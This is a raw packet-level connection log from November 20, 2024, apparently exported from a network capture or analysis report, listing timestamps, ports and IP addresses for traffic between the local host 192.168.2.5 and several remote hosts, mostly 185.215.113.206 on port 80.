Nov 20, 2024 00:19:27.470009089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470035076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470045090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470068932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470087051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470109940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470247030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470280886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470294952 CET	443	62100	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:27.470300913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470319986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470328093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470352888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470360041 CET	62100	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:27.470381975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470386982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470402002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470419884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470433950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470463037 CET	62100	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:27.470477104 CET	443	62100	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:27.470479965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470480919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470485926 CET	62100	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:27.470490932 CET	443	62100	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:27.470515013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470529079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470550060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470568895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470582008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470597029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470618963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470629930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470652103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470664024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470686913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470696926 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470721960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470731974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470758915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470767021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470793009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470802069 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470828056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470844984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470861912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470882893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470896006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470904112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470930099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470946074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470963001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470985889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.470992088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471004963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471024990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471059084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471081972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471092939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471108913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471127987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471138954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471162081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471170902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471195936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471219063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471230030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471240997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471263885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471276999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471297026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471307039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471345901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471352100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471381903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471394062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471421957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471558094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471591949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471642017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471729994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471762896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471786022 CET	443	62105	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:27.471796989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471807957 CET	443	62105	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:27.471808910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471829891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471851110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471863985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471868992 CET	443	62105	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:27.471874952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471878052 CET	62105	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:27.471898079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471908092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471931934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471931934 CET	62105	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:27.471955061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.471963882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.471975088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472002029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472012997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472034931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472045898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472069979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472088099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472105026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472110987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472140074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472147942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472173929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472182989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472208023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472217083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472242117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472259998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472275972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472287893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472309113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472345114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472356081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472388983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472392082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472425938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472457886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472472906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472491980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472501993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472524881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472536087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472564936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472578049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472599030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472608089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472632885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472642899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472666979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472676992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472702026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472707987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472734928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472743988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472768068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472784042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472801924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472810984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472836971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472845078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472870111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472876072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472903967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472910881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472937107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472945929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.472970963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.472982883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.473004103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.473012924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.473052025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.475790024 CET	443	62108	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:27.476645947 CET	62108	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:27.476660013 CET	443	62108	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:27.476941109 CET	62105	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:27.476965904 CET	443	62105	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:27.477041006 CET	443	62108	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:27.477982998 CET	62108	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:27.478115082 CET	443	62108	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:27.478667021 CET	62108	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:27.478763103 CET	62108	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:27.478795052 CET	443	62108	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:27.479245901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479263067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479285002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479296923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479309082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479319096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.479331970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.479348898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479356050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.479366064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479377031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479392052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479402065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.479403973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479420900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.479444981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.479767084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479795933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479809046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479816914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.479820013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479835033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.479835987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.479856014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.479867935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480429888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480492115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480505943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480534077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480554104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480557919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480571032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480582952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480596066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480609894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480624914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480628014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480638027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480647087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480649948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480658054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480664968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480678082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480696917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480710983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480741978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480753899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480765104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480778933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480792046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480793953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480804920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480814934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480818033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.480834007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480846882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480865002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.480998039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.481009960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.481020927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.481034040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.481040955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.481046915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.481059074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.481067896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.481071949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.481084108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.481087923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.481101990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.481106997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.481115103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.481127024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.481146097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.481164932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492400885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492430925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492458105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492475033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492495060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492508888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492685080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492712975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492729902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492754936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492760897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492784023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492814064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492825985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492841005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492866993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492868900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492882967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492894888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492907047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492923021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492935896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492953062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.492964983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.492984056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.493007898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.493021965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.493029118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.493343115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.494303942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.494344950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.494370937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.494380951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.494395018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.494405031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.494421959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.494432926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.494461060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.494462013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.494472027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.494492054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.494502068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.494515896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.494543076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.494565010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.496073008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.496123075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.496135950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.496160030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.496165037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.496208906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.496211052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.496253014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.496263027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.496284008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.496299982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.496301889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.496319056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.496347904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.534270048 CET	62114	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:27.534293890 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:27.534378052 CET	62114	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:27.534605026 CET	62114	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:27.534615993 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:27.543148041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543209076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543220043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543256998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543261051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543308020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543337107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543375015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543387890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543407917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543411970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543442011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543453932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543476105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543488979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543509960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543524981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543565035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543595076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543598890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543617964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543643951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543648958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543683052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543715954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543730974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543751001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543781042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543802023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543808937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543834925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.543844938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.543869019 CET	80	49762	185.215.113.206	192.168.2.5
